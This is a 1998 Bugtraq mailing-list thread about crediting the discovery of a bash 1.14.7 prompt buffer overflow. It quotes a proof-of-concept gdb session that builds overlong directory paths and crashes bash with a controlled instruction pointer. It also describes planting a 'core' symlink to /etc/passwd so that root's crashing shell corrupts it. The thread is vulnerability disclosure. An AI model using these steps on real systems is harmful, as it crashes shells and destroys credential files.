[7928] in bugtraq
Re: Buffer overflow in bash 1.14.7(1)
daemon@ATHENA.MIT.EDU (Razvan Dragomirescu)
Thu Sep 10 14:22:43 1998
Date: Thu, 10 Sep 1998 20:37:54 +0300
Reply-To: Razvan Dragomirescu <drazvan@KAPPA.RO>
From: Razvan Dragomirescu <drazvan@KAPPA.RO>
X-To: Fiji <jfay@STETSON.EDU>,
Joao Manuel Carolino <root@EINSTEIN.DHIS.EU.ORG>
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To: <Pine.GSO.3.96.980910095400.22564A-100000@tophat>
Hello all,
I'm posting this again, since the last message did not get through (Aleph,
I think I'm entitled to this). The bug is quite old and has been reported
by me to Bugtraq and Best-of-Security in August 1997. If it's about
credits, you can read the original post at
http://www.insecure.org/sploits/bash.pwd.overflow.html
Thanks
Razvan
--
Razvan Dragomirescu
KAPPA-NET Romania
E-Mail: drazvan@kappa.ro
Alternate: drazvan@roedu.net drazvan@romus.ro
Old: drazvan@romania.ro drazvan@guv.ro drazvan@lbi.ro
Home Phone: +(40)-1-686.66.21 -- Work Phone: +(40)-1-336.57.71
"Smile, tomorrow will be worse" (Murphy)
On Thu, 10 Sep 1998, Fiji wrote:
> ummm....I notified Redhat back on April 3 about this bug. It seems that
> they weren't too interested back then in doing anything about...and it
> looks like they aren't too interested now in giving credit where credit is
> due.
>
> <copy of original message>
> Date: Fri, 3 Apr 1998 09:56:13 -0500 (EST)
> From: Fiji <jfay@stetson.edu>
> To: bugs@redhat.com
> Subject: found a bug.
>
> Well it looks like if you cd into /proc/self/root/proc/self/root...692
> characters later.../proc/self/root it will core.
>
>
> So what happens if I create a directory structure that is huge...
> i.e.
> ~fiji/ggggggggggggggggggggggggggggggggggggggggggggggggggggggg
> ggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
> gggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
> ggggggggggggggggggggggggggggggggggggggggg/ggg and so forth.
>
> now at the bottom of this sturcture let's do the following:
>
> ln -s /etc/passwd ~fiji/g*/g*/g*/g*/g*/g* core
> now if root for whatever reason decides to cd into this...then the shell
> will die and core which will follow the symlink and corrupt /etc/passwd.
>
> Thought you all might like to know...so why exactly do cores follow
> symlinks?
>
>
> -Fiji
> CIT Stetson University
> Unix System Administrator
>
> </copy or original message>
>
> -Fiji
>
>
> On Fri, 4 Sep 1998, Joao Manuel Carolino wrote:
>
> > Date: Fri, 4 Sep 1998 16:09:28 +0000
> > From: Joao Manuel Carolino <root@EINSTEIN.DHIS.EU.ORG>
> > To: BUGTRAQ@netspace.org
> > Subject: Buffer overflow in bash 1.14.7(1)
> >
> > If you cd in to a directory which has a path name larger than 1024 bytes
> > and you have '\w' included in your PS1 environment variable (which makes
> > the path to the current working directory appear in each command line
> > prompt), a buffer overflow will occur.
> > The following was tested on my machine, running Slackware 3.5:
> >
> > einstein:~# gdb bash
> > [...]
> > (gdb) r
> > Starting program: /bin/bash
> > bash# PS1='\w '
> > ~ cd /tmp
> > /tmp mkdir `perl -e 'print "A" x 255'`
> > /tmp mkdir `perl -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`
> > /tmp mkdir `perl -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`/`perl
> > -e 'print "A" x 255'`
> > /tmp mkdir `perl -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`/`perl
> > -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`
> > /tmp mkdir `perl -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`/`perl
> > -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`/`perl -e 'print "A" x
> > 255'`
> > /tmp cd
> > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
AA!
AA!
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/
> > (no debugging symbols found)...(no debugging symbols found)...
> > Program received signal SIGSEGV, Segmentation fault.
> > 0x804ed72 in sigprocmask ()
> > (gdb) backtrace
> > #0 0x804ed72 in sigprocmask ()
> > #1 0xe9 in ?? ()
> > #2 0x41414141 in ?? ()
> > Cannot access memory at address 0x41414141.
> >
> > Regards,
> > Joao
> >
>
